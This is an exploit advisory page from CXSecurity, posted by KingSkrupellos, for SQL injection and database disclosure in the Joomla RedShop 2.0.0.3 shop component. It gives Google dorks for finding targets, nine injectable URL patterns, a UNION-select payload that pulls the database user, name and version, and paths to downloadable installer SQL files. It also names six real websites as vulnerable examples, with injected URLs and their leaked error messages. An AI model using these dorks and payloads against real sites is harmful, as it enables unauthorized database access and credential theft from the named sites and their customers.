Joomla RedShop 2.0.0.3 SQL Injection / Database Disclosure

2019.02.08
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#################################################################### # Exploit Title : Joomla RedShop 2.0.0.3 SQL Injection / Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 07/02/2019 # Vendor Homepage : redcomponent.com # Software Download Link : redcomponent.com/redcomponent/redshop # Software Information Link : extensions.joomla.org/extension/redshop/ # Software Version : 2.0.0.3 # Software Price : 49$ # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_redshop'' inurl:''/index.php?tmpl=component&option=com_redshop'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # Old Similar CVE [ Only Version is Different 1.0 ] : CVE-2010-2694 # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Reference Link : packetstormsecurity.com/files/151505/Joomla-RedShop-2.0.0.3-Database-Disclosure-SQL-Injection.html #################################################################### # Description about Software : *************************** RedShop is the leading webshop solution and Full Circle Ecommerce for Joomla! #################################################################### # Impact : *********** * SQL injection vulnerability in the redSHOP Component (com_redshop) 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via different id and start parameters to index.php. Joomla RedShop 2.0.0.3 component for Joomla and other versions is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. * This Software prone to an information exposure/database disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database. * Any remote user may download the database files and gain access to sensitive information including unencrypted authentication credentials. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_redshop&view=product&pid=[SQL Injection] /index.php?option=com_redshop&view=product&pid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_redshop&view=product&pid=[ID-NUMBER]&Itemid=[ID-NUMBER]&from=inici&lang=[SQL Injection] /index.php?option=com_redshop&view=ask_question&pid=[ID-NUMBER]&tmpl=component&Itemid=[SQL Injection] /index.php?option=com_redshop&view=category&cid=[ID-NUMBER]&layout=detail&Itemid=[SQL Injection] /index.php?tmpl=component&option=com_redshop&view=product&task=addtocompare&pid=[SQL Injection] /index.php?option=com_redshop&view=category&cid=[ID-NUMBER]&Itemid=[ID-NUMBER]&layout=default&limit=[ID-NUMBER]&limitstart=[SQL Injection] /index.php?option=com_redshop&view=manufacturers&layout=products&mid=[ID-NUMBER]&print=[ID-NUMBER]&tmpl=component&Itemid=[SQL Injection] /index.php?option=com_redshop&view=search&layout=default&category_id=[ID-NUMBER]&manufacture_id=[ID-NUMBER]&order_by=p.product_name&limitstart=[SQL Injection] # Example SQL Injection Exploit Payload : ************************************ 24%22%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,concat_ws%280x203a20, %20user%28%29,%20database%28%29,%20version%28%29%29,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 ,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63%23&cmd= add&cid=20&sid=0.6886686905513422 # Database Disclosure Exploit : *************************** /administrator/components/com_redshop/install.mysql.utf8.sql /administrator/components/com_redshop/uninstall.mysql.utf8.sql #################################################################### # Example Vulnerable Sites : ************************* [+] editorialgavarres.cat/index.php?option=com_redshop& view=product&pid=118&Itemid=9&from=inici&lang=1%27 [+] aleph-institute.org/index.php?option=com_redshop&view= category&cid=3&Itemid=0&layout=default&limit=1&limitstart=1%27 [+] antcliffschasewines.com/index.php?option=com_redshop &view=product&pid=22&Itemid=54 [+] algorythym.com/index.php?option=com_redshop&view= manufacturers&layout=products&mid=6&print=1&tmpl=component&Itemid=1' [+] andersen.cl/index.php?option=com_redshop&view= category&cid=21&layout=detail&Itemid=18 [+] omzm.ru/index.php?option=com_redshop&view=search&layout=d efault&category_id=0&manufacture_id=0&order_by=p.product_name&limitstart=66 #################################################################### # Example SQL Database Error : **************************** No valid database connection You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''118''' at line 1 SQL=SELECT * FROM jos_redshop_pageviewer WHERE session_id = 'hopkirvvfd1ku6ek2l2isscs67' AND section='product' AND section_id='118'' Warning: Parameter 2 to showMorfeo() expected to be a reference, value given in /home/alephins/public_html/libraries/joomla/event/dispatcher.php on line 136 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/antcliff/public_html /libraries/joomla/filter/input.php on line 652 Strict Standards: Only variables should be assigned by reference in /home/antcliff/public_html/components /com_redshop/helpers/user.php on line 39 #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top